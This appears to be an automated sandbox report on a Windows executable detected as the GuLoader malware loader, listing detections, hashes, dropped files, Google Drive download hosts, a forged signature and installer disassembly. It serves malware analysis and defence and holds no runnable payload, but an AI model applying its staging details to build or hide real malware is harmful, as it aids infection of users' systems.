        • Number of created Files
        • Visual Basic
        • Delphi
        • Java
        • .Net C# or VB.NET
        • C, C++ or other language
        • Is malicious
        • Internet

        Screenshots

        Thumbnails

        This section contains all screenshots as thumbnails, including those not shown in the slideshow.


        windows-stand

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        Occipitomental.exe61%ReversingLabsWin32.Trojan.GuLoader
        Occipitomental.exe100%AviraTR/AD.NsisInject.yhvji

        Dropped Files

        SourceDetectionScannerLabelLink
        C:\Users\user\AppData\Local\Temp\nslA8AC.tmp\System.dll0%ReversingLabs

        Unpacked PE Files

        ⊘No Antivirus matches

        Domains

        ⊘No Antivirus matches

        URLs

        SourceDetectionScannerLabelLink
        http://nsis.sf.net/NSIS_Error0%URL Reputationsafe
        https://apis.google.com0%URL Reputationsafe
        http://nsis.sf.net/NSIS_ErrorError0%URL Reputationsafe

        Domains and IPs

        Contacted Domains

        NameIPActiveMaliciousAntivirus DetectionReputation
        drive.google.com
        		142.250.186.78
        		truefalse
          		unknown
          drive.usercontent.google.com
          		142.250.186.97
          		truefalse
            		unknown

            URLs from Memory and Binaries

            NameSourceMaliciousAntivirus DetectionReputation
            http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtdOccipitomental.exe, 00000006.00000001.3062958359.00000000005F2000.00000020.00000001.01000000.00000008.sdmpfalse
              		unknown
              https://www.google.comOccipitomental.exe, 00000006.00000003.3142188696.0000000005643000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3142132922.0000000005637000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3142132922.0000000005643000.00000004.00000020.00020000.00000000.sdmpfalse
                		unknown
                http://www.ftp.ftp://ftp.gopher.Occipitomental.exe, 00000006.00000001.3062958359.0000000000649000.00000020.00000001.01000000.00000008.sdmpfalse
                  		unknown
                  https://drive.usercontent.google.com/Occipitomental.exe, 00000006.00000003.3150992362.0000000005643000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3530439708.0000000005640000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000002.3577066328.0000000005643000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3530612351.0000000005640000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3182807402.0000000005643000.00000004.00000020.00020000.00000000.sdmpfalse
                    		unknown
                    http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtdOccipitomental.exe, 00000006.00000001.3062958359.00000000005F2000.00000020.00000001.01000000.00000008.sdmpfalse
                      		unknown
                      http://nsis.sf.net/NSIS_ErrorOccipitomental.exefalse
                      • URL Reputation: safe
                      		unknown
                      https://apis.google.comOccipitomental.exe, 00000006.00000003.3142188696.0000000005643000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3142132922.0000000005643000.00000004.00000020.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://nsis.sf.net/NSIS_ErrorErrorOccipitomental.exefalse
                      • URL Reputation: safe
                      		unknown
                      https://drive.google.com/%vOccipitomental.exe, 00000006.00000002.3576972256.00000000055FB000.00000004.00000020.00020000.00000000.sdmpfalse
                        		unknown
                        https://drive.google.com/5v-zOccipitomental.exe, 00000006.00000002.3576972256.00000000055FB000.00000004.00000020.00020000.00000000.sdmpfalse
                          		unknown
                          https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214Occipitomental.exe, 00000006.00000001.3062958359.0000000000649000.00000020.00000001.01000000.00000008.sdmpfalse
                            		unknown

                            World Map of Contacted IPs

                            • No. of IPs < 25%
                            • 25% < No. of IPs < 50%
                            • 50% < No. of IPs < 75%
                            • 75% < No. of IPs

                            Public IPs

                            IPDomainCountryFlagASNASN NameMalicious
                            142.250.186.78
                            		drive.google.comUnited States
                            		15169GOOGLEUSfalse
                            142.250.186.97
                            		drive.usercontent.google.comUnited States
                            		15169GOOGLEUSfalse

                            General Information

                            Joe Sandbox version:41.0.0 Charoite
                            Analysis ID:1539390
                            Start date and time:2024-10-22 16:10:28 +02:00
                            Joe Sandbox product:CloudBasic
                            Overall analysis duration:0h 9m 32s
                            Hypervisor based Inspection enabled:false
                            Report type:full
                            Cookbook file name:default.jbs
                            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                            Number of analysed new started processes analysed:9
                            Number of new started drivers analysed:0
                            Number of existing processes analysed:0
                            Number of existing drivers analysed:0
                            Number of injected processes analysed:0
                            Technologies:
                            • HCA enabled
                            • EGA enabled
                            • AMSI enabled
                            Analysis Mode:default
                            Analysis stop reason:Timeout
                            Sample name:Occipitomental.exe
                            Detection:MAL
                            Classification:mal92.troj.evad.winEXE@3/9@2/2
                            EGA Information:
                            • Successful, ratio: 100%
                            HCA Information:
                            • Successful, ratio: 86%
                            • Number of executed functions: 52
                            • Number of non-executed functions: 301
                            Cookbook Comments:
                            • Found application associated with file extension: .exe
                            • Override analysis time to 240s for sample files taking high CPU consumption
                            • Stop behavior analysis, all processes terminated

                            Warnings

                            • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe
                            • Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                            • Not all processes where analyzed, report is missing behavior information
                            • Report size getting too big, too many NtOpenKeyEx calls found.
                            • Report size getting too big, too many NtQueryValueKey calls found.
                            • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                            • VT rate limit hit for: Occipitomental.exe

                            Simulations

                            Behavior and APIs

                            TimeTypeDescription
                            10:15:12API Interceptor3x Sleep call for process: Occipitomental.exe modified

                            Joe Sandbox View / Context

                            IPs

                            ⊘No context

                            Domains

                            ⊘No context

                            ASNs

                            ⊘No context

                            JA3 Fingerprints

                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            37f463bf4616ecd445d4a1937da06e19Sprawl.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                            • 142.250.186.97
                            • 142.250.186.78
                            Rundholterne89.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                            • 142.250.186.97
                            • 142.250.186.78
                            Justificante.exeGet hashmaliciousFormBook, GuLoaderBrowse
                            • 142.250.186.97
                            • 142.250.186.78
                            6 654398.vbsGet hashmaliciousFormBook, GuLoaderBrowse
                            • 142.250.186.97
                            • 142.250.186.78
                            FACTURA-ALBARANES.vbsGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                            • 142.250.186.97
                            • 142.250.186.78
                            Massageapparater.vbsGet hashmaliciousFormBook, GuLoaderBrowse
                            • 142.250.186.97
                            • 142.250.186.78
                            phc.exeGet hashmaliciousUnknownBrowse
                            • 142.250.186.97
                            • 142.250.186.78
                            phc.exeGet hashmaliciousUnknownBrowse
                            • 142.250.186.97
                            • 142.250.186.78
                            001_215_EA2047939_202410210815.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                            • 142.250.186.97
                            • 142.250.186.78
                            Fignen234.exeGet hashmaliciousGuLoaderBrowse
                            • 142.250.186.97
                            • 142.250.186.78

                            Dropped Files

                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            C:\Users\user\AppData\Local\Temp\nslA8AC.tmp\System.dllPO-94858.exeGet hashmaliciousSnake KeyloggerBrowse
                              PO-94858.exeGet hashmaliciousSnake KeyloggerBrowse
                                Order 10172024.bat.exeGet hashmaliciousAgentTeslaBrowse
                                  Order 10172024.bat.exeGet hashmaliciousAgentTeslaBrowse
                                    Waxings.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      JUSTIFICANTE PAGO FRAS AGOSTO 2024 4302286.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                        JUSTIFICANTE PAGO FRAS AGOSTO 2024 4302286.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                          Topstillinger.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                            Topstillinger.exeGet hashmaliciousUnknownBrowse
                                              SM-0230- J - TOOL 10 DEGREE FOR DWT MACHINE-MF5i.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse

                                                Created / dropped Files

                                                C:\Users\user\AppData\Local\Temp\nslA8AC.tmp\System.dll

                                                Download File
                                                Process:C:\Users\user\Desktop\Occipitomental.exe
                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                Category:modified
                                                Size (bytes):11264
                                                Entropy (8bit):5.770335399747744
                                                Encrypted:false
                                                SSDEEP:192:BPtkumJX7zB22kGwfy0mtVgkCPOse1un:u702k5qpdseQn
                                                MD5:4D3B19A81BD51F8CE44B93643A4E3A99
                                                SHA1:35F8B00E85577B014080DF98BD2C378351D9B3E9
                                                SHA-256:FDA0018AB182AC6025D2FC9A2EFCCE3745D1DA21CE5141859F8286CF319A52CE
                                                SHA-512:B2BA9C961C0E1617F802990587A9000979AB5CC493AE2F8CA852EB43EEAF24916B0B29057DBFF7D41A1797DFB2DCE3DB41990E8639B8F205771DBEC3FD80F622
                                                Malicious:false
                                                Antivirus:
                                                • Antivirus: ReversingLabs, Detection: 0%
                                                Joe Sandbox View:
                                                • Filename: PO-94858.exe, Detection: malicious, Browse
                                                • Filename: PO-94858.exe, Detection: malicious, Browse
                                                • Filename: Order 10172024.bat.exe, Detection: malicious, Browse
                                                • Filename: Order 10172024.bat.exe, Detection: malicious, Browse
                                                • Filename: Waxings.exe, Detection: malicious, Browse
                                                • Filename: JUSTIFICANTE PAGO FRAS AGOSTO 2024 4302286.exe, Detection: malicious, Browse
                                                • Filename: JUSTIFICANTE PAGO FRAS AGOSTO 2024 4302286.exe, Detection: malicious, Browse
                                                • Filename: Topstillinger.exe, Detection: malicious, Browse
                                                • Filename: Topstillinger.exe, Detection: malicious, Browse
                                                • Filename: SM-0230- J - TOOL 10 DEGREE FOR DWT MACHINE-MF5i.exe, Detection: malicious, Browse
                                                Reputation:moderate, very likely benign file
                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j.9..i....l....l.Richm.........................PE..L...V..V...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text...O........................... ..`.rdata..S....0......."..............@..@.data...h....@.......&..............@....reloc..`....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

                                                C:\Users\user\AppData\Local\barberknivene\Valonia\Erstattende.som

                                                Download File
                                                Process:C:\Users\user\Desktop\Occipitomental.exe
                                                File Type:ASCII text, with very long lines (65536), with no line terminators
                                                Category:dropped
                                                Size (bytes):452924
                                                Entropy (8bit):2.6486304482983933
                                                Encrypted:false
                                                SSDEEP:3072:PqdyLVwAmRfygEFySY3okvfIjonu5aoDAvSN:PqdyLVwAmRfSFhgo8fIjf5aSAvSN
                                                MD5:A54F7D54F1A9239B1C003FA3D832CB6F
                                                SHA1:97F04AA6A25D201026036BBCC4336C3B648F1946
                                                SHA-256:46836800357E1C1360CD3C68B9A4C3243EFE2DA7BB02B93062679B7038242080
                                                SHA-512:46EE29657247B409EC6A35400AAD58F2F37B543557F899204421FF807265591897B2230CD60E9260D3A6063660492814DFC197C59A536113B29148BFE6900221
                                                Malicious:false
                                                Reputation:low
                                                Preview:000000F1F10000000020202000000032003B005F0000B80000008100009D003C3C00000000006363000000002A0000005F00F100C30041000000737300CD0000E2E200000000D1D1D100006B003131313100DADADA006700858585858585003C3C3C3C3C3C00000070005E5E00007575757500006E005200C000000000535353008B8B0000004040000000006300000000E80000000000009E00540073737300006363008900E6004F4F4F4F4F0000200000CDCDCDCDCD007500B9000000008383838300CE004500380000ADADAD00000000F2F2F2000000380000A1005E000000009E001A1A1A00DFDF0000BDBD0031310000000000003838000000000000008D00003900002A00060606060000000000000000000000000000000000FB000000F400F70000F2F200868686868600540000000000F9000000000000340000007E00C2002A00000000F90000005F5F5F5F5F0000E9E900002400454500310000E9E900EFEF00008A00007272005B0000009A9A9A0000AAAA0000E5E500002D008B00575700BABA00000E00001F0000EFEF00000000004C0000C6C6C6C60042420000A400030300000A0000000000008200000000B0B000000000000053535300006F6F6F6F00000000000022000000E5E5E50000000085000000002929000000D8003F3F00830031313131000000FAFA00960000

                                                C:\Users\user\AppData\Local\barberknivene\Valonia\Memnon.afb

                                                Download File
                                                Process:C:\Users\user\Desktop\Occipitomental.exe
                                                File Type:data
                                                Category:dropped
                                                Size (bytes):202915
                                                Entropy (8bit):7.559336422082596
                                                Encrypted:false
                                                SSDEEP:6144:UxNFXbS1YGeSamqtZMIytMbkm/Y9PWv35aP:UrFXbSaGVaz25KkmIga
                                                MD5:36F48733A8FBADDDE3F9F3CBCF4943F8
                                                SHA1:26B7C9D7CA4FF153852E7642FA41DA497D60EF57
                                                SHA-256:8058F60CCAC0238841C15CE3346A3D00523F5DA98F60D5CFC19CE7C19B37350E
                                                SHA-512:E87485FBDFCC8D77CB9A1EE8813BDC5B97E106CAC244FB6150C4E97AA915BFD2AAF33AC6FF124D36228253EB412E91A59E557C6F07A5514CB8FC72B30A8AD38F
                                                Malicious:false
                                                Reputation:low
                                                Preview:.....................................5.{{{{{........??........n............ff....(............A.y.......O...x...................bb............................11.............K.Q...............XX.i......7...............6............................ww.....ttt...........hh..dd..........B..$.v................sss............[.....8......h..y.............BBB...!..........;;........```.......m.........aa.>....~.......b.............................ii..........................=.f..||||||.d........k..6.............................rrr..?..........>.'.6..........VVV....................||...@@.................\\......<<..L.j..............V..........22.I...U.{.55....<<............vvv.e....@@@....'...............>...mm.....||||..aaaaa.TT.............f.............................m......................+..................(.T......VV.....m...................]]]..........[...RRR.HH.....kkkk.{{{{..........&&&&...................ttt....8.......++.............................................................

                                                C:\Users\user\AppData\Local\barberknivene\Valonia\Undvige.por

                                                Download File
                                                Process:C:\Users\user\Desktop\Occipitomental.exe
                                                File Type:data
                                                Category:dropped
                                                Size (bytes):298251
                                                Entropy (8bit):1.2526831865422086
                                                Encrypted:false
                                                SSDEEP:768:pRNAAyBsGbnn1XMx+ovH9qUUqskFFBcHUsnD38AXAQk6xZ77oSjFbwtI0Bm91GRq:pKKumyHdZ77ljFEtb2GnDDq5iwZ6y0k
                                                MD5:E3BD24E2720641B8147044F35E4142E7
                                                SHA1:08BD730A0C3BE9BADE14DA4F1A83AA3A3BD0B9D2
                                                SHA-256:D887B4102D309CD3D15D1CFB1774F4E871A9CE757BFE733927D4DC8EE9E5B478
                                                SHA-512:ADF18562ADB9126E2651F14B52A67B7E17F62F4F767243DDE8E808AAE5D3B94177773112BBCE4A944624F64C4187D38610A98BAC4F8A563AEB70250D7E2D6988
                                                Malicious:false
                                                Reputation:low
                                                Preview:...........I......x..................p.................x...A....L..............+................................F.....................X....M....n...........................................z.................B......................................&...............................k..................c....................^.............H...............................................................................'...................................................................................q..............................................]...o..............)..................................................................w........................!.......q..<.......................6......G......................:..........................@........................................=..................................W...............{...d..n........................................T..................................................................................................................

                                                C:\Users\user\AppData\Local\barberknivene\Valonia\chechako.com

                                                Download File
                                                Process:C:\Users\user\Desktop\Occipitomental.exe
                                                File Type:data
                                                Category:dropped
                                                Size (bytes):466380
                                                Entropy (8bit):1.250535075730851
                                                Encrypted:false
                                                SSDEEP:1536:ddmZ/2sgaTmJd0qcED+kbCZznzj/y5kv44558hoY6fEo:ddoTiwHy5kvH6hqfEo
                                                MD5:716783BB1D3664C916795E809845BCF9
                                                SHA1:22A0076526207AFF8C83250A30DFE3F44CBA90A3
                                                SHA-256:7628E5EDD0245FB03671199DC1F8E7FE18B4CDFCEDD9A9569213D8A14A776F88
                                                SHA-512:3977EA2C5642F821E46CAFE5D71F0457A30B375A1C5599C44F44C220E4751EA2B6BACEE16A21BB30297E88BA1CDC9345CA2186B503D2B6BE8EE14ECF1B8952FD
                                                Malicious:false
                                                Reputation:low
                                                Preview:...H........................................{...........................................%.+...................\......................................d........................f...................)............................^.................................................n...............B..........................................................................u..............................................................N..............h................d...........................Z........................................................1................Q..............@....................................................................................................x..................8..............i................[............................................$....................................................................................................Q......................................_.H....................................................................................

                                                C:\Users\user\AppData\Local\barberknivene\Valonia\chirality.tan

                                                Download File
                                                Process:C:\Users\user\Desktop\Occipitomental.exe
                                                File Type:Matlab v4 mat-file (little endian) \313, numeric, rows 0, columns 0
                                                Category:dropped
                                                Size (bytes):312915
                                                Entropy (8bit):1.2573853630687075
                                                Encrypted:false
                                                SSDEEP:768:cOqhqcMTlriHHsns/4SM17htejqVzpXe0dG3CcWAJwDBlye3yxJ1ULK+HptGHQUq:zZlU4Vu7WBBGJeoiypPPWddoTNV8v
                                                MD5:17C04D07DDE97E11EB22C8308313BFAF
                                                SHA1:A8CFD0E83D34B90EEEE31978F10486CDA45D6837
                                                SHA-256:EFE23A497BAC328EE9A630C4797D2DB93A8BEE4FC2B7BC3BF1D1B9549E1E7818
                                                SHA-512:89BA41BA5540DEC93EAFEA512321E39E23ED2C8826AC95FE6DD858A1D03B7A9780B8C928CE93CE4C243ED88B53046842EC07E0B0961F9E1BAC51DC199F933EED
                                                Malicious:false
                                                Reputation:low
                                                Preview:..................n...............................................Z......................Q.........................R..........7.....V..........................-...........................#..................................................................:...........................................................................................M........9............7...............................................................?........2.......i............................V......................................................V.w......Q...w...........................#..................f...................h....................................................;...........7....!.................K.......................9...................................................r..........9............................D.Z......................h*......................................................................!....I..6q.....................a.......%.................C$....i\..............-......

                                                C:\Users\user\AppData\Local\barberknivene\Valonia\fortraeffelige.txt

                                                Download File
                                                Process:C:\Users\user\Desktop\Occipitomental.exe
                                                File Type:ASCII text, with very long lines (372), with CRLF line terminators
                                                Category:dropped
                                                Size (bytes):402
                                                Entropy (8bit):4.261339588150892
                                                Encrypted:false
                                                SSDEEP:12:c7JSQ4yxGFVzDPpKUsQezbE5rjDYs5mVm0L8S1TJiq:o4y+QUBeUpP5mAtSh
                                                MD5:75AED12DAB85B2A873F4776E9A4E79D5
                                                SHA1:D2EDE93C9239CD75405CAD0670D18273FB376B7D
                                                SHA-256:A151444751DC49AA76B9042168CD72649356F2E2B3ADC22B64FEA0E2709932F4
                                                SHA-512:D32AD95F29A140D062BF56E68AA85B818DF1C6579D49AB8FEE40D9AE400AB26331794AB6E7B31440A823C3CE03C6B6F203FF0938A785ABE8A9AF13BB1811F9AC
                                                Malicious:false
                                                Preview:counterpuncture remediable indfandt gynecolog congenialness salicylous.synsvinklen makronavnet centralsygehuse emendating basarbygnings,kommutator emulate microscopically sloked dekstrinen.olivesheen jackscrew passersedlernes versability bimana elefantsygdoms,lordships budgetmaterialerne affedtningens corallum lejers brislingen lunarians skonnertrigningers rkekbenhavner..backens ensrettede indicans,

                                                C:\Users\user\AppData\Local\barberknivene\Valonia\krigsforbrydelser.pre

                                                Download File
                                                Process:C:\Users\user\Desktop\Occipitomental.exe
                                                File Type:data
                                                Category:dropped
                                                Size (bytes):409663
                                                Entropy (8bit):1.247619458672219
                                                Encrypted:false
                                                SSDEEP:768:+84R5mJ+z9K7xZ0zdn1J8bs6lHs+2PQo4QkYifPDfw9sjzr9mAbHXB2A4WAzQGis:+Pw70BsHakDY78fAD52yZ8rShUm
                                                MD5:EDAEA1DC3937B8AFEE308DEADA79393F
                                                SHA1:8EC94886C6CD147FB9F52458E61BD075D79B54F0
                                                SHA-256:D2FB2A66CA1D17CBDAE6C52FC55B8D07EFA78C93726A06D117A03E92B96E9118
                                                SHA-512:3A30C1419023F2BFAA382103789CDC83F53F6C0C9F1089FF139625A19F2F7C7A02FC43ACC9A57AA42F5773819A3F48D730B9E1282691A1AABDB23C873FEC1277
                                                Malicious:false
                                                Preview:.................................(..........................................................................m.......=......E.......u....Q...........................................v....b..i....@.....z.................................................................................5...........................................g........................@.............................../.......................k..........................................\.................................]..................................................V.....................8..................d.........#.......'...;.......................'.................n................................$.................G..................R..............................................g..........O......I..........%......XL...........G........................d...............................+.................................Q.................c.........................................k..........................x................

                                                C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\engelskgrs.ini

                                                Download File
                                                Process:C:\Users\user\Desktop\Occipitomental.exe
                                                File Type:ASCII text, with CRLF line terminators
                                                Category:dropped
                                                Size (bytes):37
                                                Entropy (8bit):4.121219243831912
                                                Encrypted:false
                                                SSDEEP:3:fX5LtK05qn:/5LtKX
                                                MD5:0F94FA0EAED0FC090BE10E7A06A51776
                                                SHA1:105C24451D567C3D43E1AB42644998765F924B5C
                                                SHA-256:E6F05CFAF51E71E5531DEB7CA8807F2804BD3B0EB1156A4303DA541173FAEF36
                                                SHA-512:8732488ED76B5DC1311BBD9F70D31D7293272CF7CC8FBDCD150A54A6DFDE17789929BCE53DB33BB23D1A201A3415CC2458DDB9BC51677325E7EA65242288A284
                                                Malicious:false
                                                Preview:[coloradobillerne]..unrotate=Kadjas..

                                                Static File Info

                                                General

                                                File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                Entropy (8bit):7.750829174298698
                                                TrID:
                                                • Win32 Executable (generic) a (10002005/4) 99.96%
                                                • Generic Win/DOS Executable (2004/3) 0.02%
                                                • DOS Executable Generic (2002/1) 0.02%
                                                • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                File name:Occipitomental.exe
                                                File size:709'552 bytes
                                                MD5:b0468f2993c4838126375529ccd4155a
                                                SHA1:5a4544bf78b831bfa3c74ecc0e3d742a43af1161
                                                SHA256:8d9dfd67ef81fae440a3cd1cfbcc57646407f4116bbdb64d31ca1a0d51e479b3
                                                SHA512:134e29fe0749d44eb4b9934904091ffdbb52006ba9dd8fc593ffa659e360f5eff4dfca77e73360b4fe9dbfa224d8e4e7b46e915f61580dd539cfe38d918bf1b7
                                                SSDEEP:12288:FQszxdK1xIHkD5/wH2y5HU13su8xAHz7yWE8N+XBddD6rPGdBdlDjspRaFhCyiNy:fwc2y5aZ84iWfN+XBdQqdBd9utst
                                                TLSH:71E4124332C28CA2CEEA4BB7470F8D5592651D1B8814D78F6FC075BE6EEB3D4EA22541
                                                File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1)..PG..PG..PG.*_...PG..PF.IPG.*_...PG..sw..PG..VA..PG.Rich.PG.........PE..L...p..V.................^...........0.......p....@

                                                File Icon

                                                Icon Hash:0574c2c54d532143

                                                Static PE Info

                                                General

                                                Entrypoint:0x4030d9
                                                Entrypoint Section:.text
                                                Digitally signed:true
                                                Imagebase:0x400000
                                                Subsystem:windows gui
                                                Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                Time Stamp:0x567F8470 [Sun Dec 27 06:25:52 2015 UTC]
                                                TLS Callbacks:
                                                CLR (.Net) Version:
                                                OS Version Major:4
                                                OS Version Minor:0
                                                File Version Major:4
                                                File Version Minor:0
                                                Subsystem Version Major:4
                                                Subsystem Version Minor:0
                                                Import Hash:076b06e6a65c9b7cca5a61be0cd82165

                                                Authenticode Signature

                                                Signature Valid:false
                                                Signature Issuer:CN="Beredskabsplanernes Regularise ", E=Arbejdsbyrder@Dybdemaalingerne.Ca, L=Marignane, S=Provence-Alpes-C\xf4te d'Azur, C=FR
                                                Signature Validation Error:A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
                                                Error Number:-2146762487
                                                Not Before, Not After
                                                • 04/02/2024 08:26:59 03/02/2027 08:26:59
                                                Subject Chain
                                                • CN="Beredskabsplanernes Regularise ", E=Arbejdsbyrder@Dybdemaalingerne.Ca, L=Marignane, S=Provence-Alpes-C\xf4te d'Azur, C=FR
                                                Version:3
                                                Thumbprint MD5:790EE5386F62660F460D27A222C3629E
                                                Thumbprint SHA-1:E9DC95CB5B31D703257726DF47343D90DEEE9BB7
                                                Thumbprint SHA-256:F562B325D6855A9BB9B627F35BAE556E37B030EBC3AD9C3C27D81D0CD44FB5F6
                                                Serial:5F99A8D13E00996BD20DF935D5D331D35701D42D

                                                Entrypoint Preview

                                                Instruction
                                                sub esp, 00000184h
                                                push ebx
                                                push esi
                                                push edi
                                                xor ebx, ebx
                                                push 00008001h
                                                mov dword ptr [esp+18h], ebx
                                                mov dword ptr [esp+10h], 004091B0h
                                                mov dword ptr [esp+20h], ebx
                                                mov byte ptr [esp+14h], 00000020h
                                                call dword ptr [004070A4h]
                                                call dword ptr [004070A0h]
                                                cmp ax, 00000006h
                                                je 00007F2CE1178383h
                                                push ebx
                                                call 00007F2CE117B2F1h
                                                cmp eax, ebx
                                                je 00007F2CE1178379h
                                                push 00000C00h
                                                call eax
                                                push ebp
                                                push 004091A8h
                                                call 00007F2CE117B271h
                                                push 004091A0h
                                                call 00007F2CE117B267h
                                                push 00409194h
                                                call 00007F2CE117B25Dh
                                                push 00000009h
                                                call 00007F2CE117B2C0h
                                                push 00000007h
                                                call 00007F2CE117B2B9h
                                                mov dword ptr [00423724h], eax
                                                call dword ptr [0040703Ch]
                                                push ebx
                                                call dword ptr [0040728Ch]
                                                mov dword ptr [004237D8h], eax
                                                push ebx
                                                lea eax, dword ptr [esp+38h]
                                                push 00000160h
                                                push eax
                                                push ebx
                                                push 0041ECE0h
                                                call dword ptr [00407178h]
                                                push 00409188h
                                                push 00422F20h
                                                call 00007F2CE117AEE7h
                                                call dword ptr [0040709Ch]
                                                mov ebp, 00429000h
                                                push eax
                                                push ebp
                                                call 00007F2CE117AED5h
                                                push ebx
                                                call dword ptr [00000058h]

                                                Rich Headers

                                                Programming Language:
                                                • [EXP] VC++ 6.0 SP5 build 8804

                                                Data Directories

                                                NameVirtual AddressVirtual Size Is in Section
                                                IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                IMAGE_DIRECTORY_ENTRY_IMPORT0x73e00xa0.rdata
                                                IMAGE_DIRECTORY_ENTRY_RESOURCE0x390000x1f318.rsrc
                                                IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                IMAGE_DIRECTORY_ENTRY_SECURITY0xabf900x1420
                                                IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                IMAGE_DIRECTORY_ENTRY_IAT0x70000x29c.rdata
                                                IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                Sections

                                                NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                .text0x10000x5c5b0x5e0025f20353ff4dab35a62d1661fd51d448False0.6599900265957447data6.415883806471021IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                .rdata0x70000x12120x1400a99dc6e1e9123b9d8eb17a3b16908620False0.4169921875data4.933902523070607IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                .data0x90000x1a8180x400c329e2dbf8e92aedf63262846de2292bFalse0.6552734375data5.219575463223351IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                .ndata0x240000x150000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                .rsrc0x390000x1f3180x1f400375926303924595ed0db551ae4b805eeFalse0.49725data5.763813771719024IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                Resources

                                                NameRVASizeTypeLanguageCountryZLIB Complexity
                                                RT_ICON0x392f80x10828Device independent bitmap graphic, 128 x 256 x 32, image size 67584EnglishUnited States0.2273748964864545
                                                RT_ICON0x49b200x9a27PNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States0.9891797379824139
                                                RT_ICON0x535480x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9600EnglishUnited States0.3941908713692946
                                                RT_ICON0x55af00x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishUnited States0.44301125703564725
                                                RT_ICON0x56b980x988Device independent bitmap graphic, 24 x 48 x 32, image size 2400EnglishUnited States0.525
                                                RT_ICON0x575200x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishUnited States0.6090425531914894
                                                RT_DIALOG0x579880x100dataEnglishUnited States0.5234375
                                                RT_DIALOG0x57a880x11cdataEnglishUnited States0.6056338028169014
                                                RT_DIALOG0x57ba80xc4dataEnglishUnited States0.5918367346938775
                                                RT_DIALOG0x57c700x60dataEnglishUnited States0.7291666666666666
                                                RT_GROUP_ICON0x57cd00x5adataEnglishUnited States0.7888888888888889
                                                RT_VERSION0x57d300x1c0ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970EnglishUnited States0.5513392857142857
